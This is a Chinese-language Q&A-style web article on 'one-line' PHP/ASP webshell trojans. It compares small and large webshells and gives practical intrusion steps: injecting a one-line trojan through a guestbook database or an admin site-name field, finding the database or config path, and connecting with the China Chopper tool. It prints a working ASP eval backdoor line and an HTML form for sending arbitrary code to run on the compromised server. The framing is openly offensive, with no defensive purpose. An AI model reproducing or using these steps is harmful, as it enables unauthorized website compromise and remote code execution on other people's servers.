关于“php一句话木马大全”的问题，小编就整理了【3】个相关介绍“php一句话木马大全”的解答：
一句话木马中的大马和小马的作用各是什么？小马体积小，容易隐藏，隐蔽性强，最重要在于与图片结合一起上传之后可以利用nginx或者IIS6的解析漏洞来运行，不过功能少，一般只有上传等功能。不过中国菜刀留的一句话功能不逊大马的功能。
大马体积比较大 一般50K以上。功能也多，一般都包括提权命令，磁盘管理，数据库连接借口，执行命令甚至有些以具备自带提权功能和压缩，解压缩网站程序的功能。
这种马隐蔽性不好，而大多代码如不加密的话很多杀毒厂商开始追杀此类程序。
一句话木马上传后如何查找上传的数据库地址？一句话木马插入方法：第一种：先判断数据库是asp或其他格式，若为asp格式，可通过留言本向数据库插入一句话代码，插入后，用中国菜刀连接留言本数据库地址（数据库地址可以通过暴库爆出路径，暴不出路径，就用工具强行扫描，看是否能扫到数据库地址）就得到webshell了。第二种：进入网站后台，然后修改网站名，把网站名修改成一句话木马代码，记住，要闭合插入一句话，即 有一次，我进了一个网站后台，修改网站名时，没有闭合插入一句话木马代码，致使后台出现了403错误，无法打开，白浪费了一个网站。闭合插入并保存后，用中国菜刀连接网站配置文件（配置文件路径可以通过插入未闭合的一句话木马代码，不保存，点击后台别的位置，会出现错误提示，下面的路径就是网站配置文件的路径），因为网站名等信息在网站的配置文件中，就要连接配置文件，成功后，你就得到了网站webshell了。
怎样用木马？一句话木马就是在asp文件插入类似于这样的代码"<%execute request("nneeenn")%>"execute函数允许执行任意asp代码在客户端写一个表单<form action="你挂马的页面" method="post"><input type="text" name="nneeenn" value=""><%--!此处的nneenn和<%execute request("nneeenn")%>中的nneeenn必须一致--%><input type="submit" value="发送"></form>把上面的代码保存成mm.html打开在里面输入你要执行的asp代码点击发送这时 你写的asp 代码就在远程执行了而那个asp代码可以是个小木马
到此，以上就是小编对于“php一句话木马大全”的问题就介绍到这了，希望介绍关于“php一句话木马大全”的【3】点解答对大家有用。
